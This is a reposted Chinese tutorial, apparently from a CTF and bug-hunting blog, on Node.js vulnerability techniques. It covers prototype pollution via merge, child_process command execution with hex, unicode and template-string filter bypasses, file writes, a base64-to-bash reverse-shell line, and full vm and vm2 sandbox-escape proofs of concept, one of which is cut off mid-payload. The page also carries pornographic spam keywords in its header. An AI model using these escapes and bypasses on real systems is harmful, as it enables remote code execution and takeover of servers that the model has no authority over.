日日操夜夜添-日日操影院-日日草夜夜操-日日干干-精品一区二区三区波多野结衣-精品一区二区三区高清免费不卡

公告:魔扣目錄網為廣大站長提供免費收錄網站服務,提交前請做好本站友鏈:【 網站目錄:http://www.ylptlb.cn 】, 免友鏈快審服務(50元/站),

點擊這里在線咨詢客服
新站提交
  • 網站:51998
  • 待審:31
  • 小程序:12
  • 文章:1030137
  • 會員:747

零基礎學黑客領資料

搜公眾號:白帽子左一

關于原型鏈

在JAVAscript中,繼承的整個過程就稱為該類的原型鏈。

每個對象的都有一個指向他的原型(prototype)的內部鏈接,這個原型對象又有它自己的原型,一直到null為止。

在JavaScript中一切皆對象,因為所有的變量,函數,數組,對象 都始于object的原型即object.prototype,但只有類有對象,對象沒有,對象有的是__proto__。

like:

日期時:

f -> Data.prototype -> object.prototype->null

函數時:

d -> function.prototype -> object.prototype->null

數組時:

c -> array.prototype -> object.prototype->null

類時:

b -> a.prototype -> object.prototype->null

當要使用或輸出一個變量時:首先會在本層中搜索相應的變量,如果不存在的話,就會向上搜索,即在自己的父類中搜索,當父類中也沒有時,就會向祖父類搜索,直到指向null,如果此時還沒有搜索到,就會返回 undefined。

挖洞經驗之nodejs 中的漏洞技巧

 

根據上圖可知,訪問f1原型的三種方式:

console.log(f1["__proto__"])
console.log(f1.__proto__)
console.log(f1.constructor.prototype)   #這樣可以看出對象的__proto__屬性,指向類的原型對象prototype

而訪問到函數的方式則為:

console.log(f1.constructor.constructor)  #這樣我們就獲取到了Function,可以構造出匿名函數來進行命令執行了。

關于merge函數

在js當中如果存在使用merge函數或clone函數的情況下,可能會產生原型鏈污染。

function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}

merge函數首先迭代第二個對象b上的所有屬性(因為在相同的鍵值對的情況下,第二個對象是優先的)。
如果屬性同時存在于第一個和第二個參數上,并且它們都是Object類型,那么Merge函數將重新開始合并它。

在這里可以控制b[attr]的值,將attr設為__proto__,也可以控制b中proto屬性內的值,那當遞歸時,a[attr]在某個點實際上將指向對象a的原型,至此通過遞歸我們向所有對象添加一個新屬性。

需要配合JSON.parse使得我們輸入的__proto__被解析成鍵名,JSON解析的情況下,__proto__會被認為是一個真正的“鍵名”,而不代表“原型”,否則它只會被當作當前對象的”原型“而不會向上影響

>let o2 = {a: 1, "__proto__": {b: 2}}
>merge({}, o2)
<undefined


>o2.__proto__
<{b: 2}              


>console.log({}.b)
<undefined        //并未污染原型


>let o3 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
>merge({},o3)
<undefined


>console.log({}.b)
<2             //成功污染

關于child_process

nodejs基于事件驅動來處理并發,本身是單線程模式運行的。Nodejs通過使用child_process模塊來生成多個子進程來處理其他事物。

在child_process中有七個方法它們分別為:execFileSync、spawnSync,execSync、fork、exec、execFile、以及spawn,而這些方法使用到的都是spawn()方法。

在Nodejs中,nodejs通過使用child_process模塊來生成多個子進程來處理其他事物就包括4個異步進程函數分別為spawn,exec,execFile,fork和3個同步進程函數spawnSync,execFileSync,execSync。

關于nodejs的命令執行

對于nodejs我們嘗試用require來開啟子進程進行命令執行。

假設題目需要繞過一些敏感字符,如exec,所以我們有多種方法即字符串拼接或者字符串的編碼轉換,在nodejs當中,對于十六進制編碼與unicode編碼都是適應的。

所以原先的:eval=require("child_process").execSync('cat fl001g.txt')

可以轉變為:eval=require("child_process")['exe'%2b'cSync']('cat fl001g.txt')

或者是:eval=require("child_process")["x65x78x65x63x53x79x6ex63"]('cat fl001g.txt')

以及unicode編碼:eval=require("child_process")["u0065u0078u0065u0063u0053x79x6ex63"]('cat fl001g.txt')
包括模板字符串:eval=require(%22child_process%22)[${${exe}cSync}](%27ls%27)。

挖洞經驗之nodejs 中的漏洞技巧

 

文件讀取

有些時候只是為了讀取文件的話,可以直接利用fs模塊。

Node.js 文件系統(fs 模塊)模塊中的方法均有異步和同步版本,例如讀取文件內容的函數有異步的 fs.readFile() 和同步的 fs.readFileSync()。

挖洞經驗之nodejs 中的漏洞技巧

 

并且我們可以利用fs模塊來進行目錄的查看:

fs.readdir(path, callback)
挖洞經驗之nodejs 中的漏洞技巧

 

除此之外進行文件的寫入也可以,直接寫入一個js文件通過調用child_process來編寫一個shell。

eval=require(%22fs%22).writeFileSync('input.txt', 'sss')

挖洞經驗之nodejs 中的漏洞技巧

 

如果具有權限,完全還可以利用unlink把ssh key給刪除然后在重新寫入。

關于nodejs中spawn與exec的區別

異步函數spawn是最基本的創建子進程的函數,其他三個異步函數都是對spawn不同程度的封裝,即exec,execfile,fork。

所以他們的區別就是spawn只能運行指定的程序,參數需要在列表中給出,而exec可以直接運行復雜的命令。

要運行du -sh /disk1命令, 使用spawn函數需要寫成spawn('du', [''-sh ', '/disk1']),而使用exec函數時,可以直接寫成exec('du -sh /disk1')。

當require被禁用時

我們可以使用通過global全局對象加載模塊來調用子進程。

global.process.mainModule.constructor._load('child_process').exec('ls');

利用Function進行執行:

Function("global.process.mainModule.constructor._load('child_process').exec('ls')")();

利用setInterval進行命令執行:

setInteval(function, 2000)  #即間隔兩秒

利用setTimeout進行命令執行:

setTimeout(function, 2000)  #即兩秒后執行

關于反彈shell

在nodejs當中與java有些類似,反彈shell需要進行一些額外的編碼解碼才能夠規避掉一些敏感詞,例如+號

shell反彈:
code=require('child_process').exec('cmd'|base64 -d|bash');

對于vm&&vm2

vm2調用者vm的api,vm2在vm的基礎上創建了一層沙箱。

在創建vm環境時,主要就是創建一個隔絕的環境,將執行代碼放入隔絕的上下文當中。

挖洞經驗之nodejs 中的漏洞技巧

 

在這里vm.Script(code)就是我們要執行的部分,而vm.createContext(example)是創建的隔離對象,但是example并沒有被進行限制,導致能夠訪問原型,根據上面的圖我們可以構造欻匿名函數:

const script = new vm.Script("this.constructor.constructor('return this.process.env')()");

所以,在vm當中逃逸就用到了這種創建函數的方式:

挖洞經驗之nodejs 中的漏洞技巧

 

因為這個函數的是依托于main函數,所以逃脫了限制。

進一步執行命令也就是利用含函數調用child_process以及mainMoudle來進行。

this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()

對于vm2,vm2攔截了對 constructor 和 __proto__ 屬性的訪問,導致我們無法逃脫沙箱,掛載在原型下,而vm2的sadbox.js對常見的命令執行的函數進行了過濾,比如 setTimeout,setInterval 等。

通常對于vm2調用方法就簡便上一些:

挖洞經驗之nodejs 中的漏洞技巧

 

而這其中其實現的方式與vm是相同的。

const script = new VMScript("let test = 1;test");  (vm2)--> const cmd = new vm.Script("this.constructor.constructor('return this.process.config')()");  (vm1)

 let vm = new VM()  (vm2)-->  const context = vm.createContext(sandbox) (vm1)

 vm.run(script) (vm2) -->   dir = cmd.runInContext(context)  (vm1)

對于第二步,在其中就是創建了一個沙箱環境:

1. 調用vm.createContext創建上下文context
2. 調用lib目錄下的sandbox.js對其進行封裝,生成一個匿名函數
3. 將這個匿名函數的this為context

導致我們無法對其造成污染:

挖洞經驗之nodejs 中的漏洞技巧

 

追溯在github當中可以發現一些繞過的方法:

Breakout in v3.6.9:https://github.com/patriksimek/vm2/issues/186

Breakout in v3.8.3:https://github.com/patriksimek/vm2/issues/225

#Breakout in v3.8.3
"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
    try{
        Buffer.from(new Proxy({}, {
            getOwnPropertyDescriptor(){
                throw f=>f.constructor("return process")();
            }
        }));
    }catch(e){
        return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
    }
}+')()';
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

這里是利用buffer.from創建一個代理拋出異常throw f=>f.constructor("return process")()被vm2內部代碼給捕獲,再被catch給捕獲,此時由于對() => {}不正確的處理導致了沙箱的逃逸。

hackim-2019

在vm2當中,可以通過制造錯誤,引起外部報錯,再捕獲外部的報錯來判斷是否存在vm2。

挖洞經驗之nodejs 中的漏洞技巧

 

在這里通過報錯可以發現,服務器使用了vm2.

使用v3.6.9的poc:

"use strict";
const {VM} = require('vm2');
const untrusted = `
var process;
try{
Object.defineProperty(Buffer.from(""),"",{
    value:new Proxy({},{
        getPrototypeOf(target){
            if(this.t)
                throw Buffer.from;
            this.t=true;
            return Object.getPrototypeOf(target);
        }
    })
});
}catch(e){
    process = e.constructor("return process")();
}
process.mainModule.require("child_process").execSync("whoami").toString()
`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

執行命令即可獲取flag。

關于模板字符串利用

模板字符串(template string)是增強版的字符串,用反引號(`)標識。

它可以當作普通字符串使用,也可以用來定義多行字符串,或者在字符串中嵌入變量,而如果在模板字符串中需要使用反引號,則前面要用反斜杠轉義,另外在模板字符串中嵌入變量需要將變量名卸載${}當中。

挖洞經驗之nodejs 中的漏洞技巧

 

利用模板字符串,我們可以生成一種嵌套模板

`${`${`constructo`}r`}` 拼接完之后可以變為 constructor
解析的順序就是:`${`constructor`}`--->constructor

HUFUCTF just_escape

在虎符ctf中,就出現了利用模板嵌套來進行繞過,題目用的是vm2,利用poc就可以執行命令,但是題目過濾了一些關鍵詞,導致poc需要進行一些更改,我們十六進制以及unicode編碼或者就是模板嵌套可以進行繞過。

(function (){
    TypeError[`${`${`protot`}ype`}`][`${`${`get_proc`}esss`}`] = f=>f[`${`${`construc`}tor`}`](`${`${`return this.proc`}ess`}`)();
    try{
        Object.preventExtensions(Buffer.from(``)).a = 1;
    }catch(e){
        return e[`${`${`get_proc`}ess`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`whoami`).toString();
    }
})()

或者是:

(function(){TypeError[`x70x72x6fx74x6fx74x79x70x65`][`x67x65x74x5fx70x72x6fx63x65x73x73`] = f=>f[`x

作者:ophxc軒 ,原文地址:https://xz.aliyun.com/t/9167

分享到:
標簽:nodejs
用戶無頭像

網友整理

注冊時間:

網站:5 個   小程序:0 個  文章:12 篇

  • 51998

    網站

  • 12

    小程序

  • 1030137

    文章

  • 747

    會員

趕快注冊賬號,推廣您的網站吧!
最新入駐小程序

數獨大挑戰2018-06-03

數獨一種數學游戲,玩家需要根據9

答題星2018-06-03

您可以通過答題星輕松地創建試卷

全階人生考試2018-06-03

各種考試題,題庫,初中,高中,大學四六

運動步數有氧達人2018-06-03

記錄運動步數,積累氧氣值。還可偷

每日養生app2018-06-03

每日養生,天天健康

體育訓練成績評定2018-06-03

通用課目體育訓練成績評定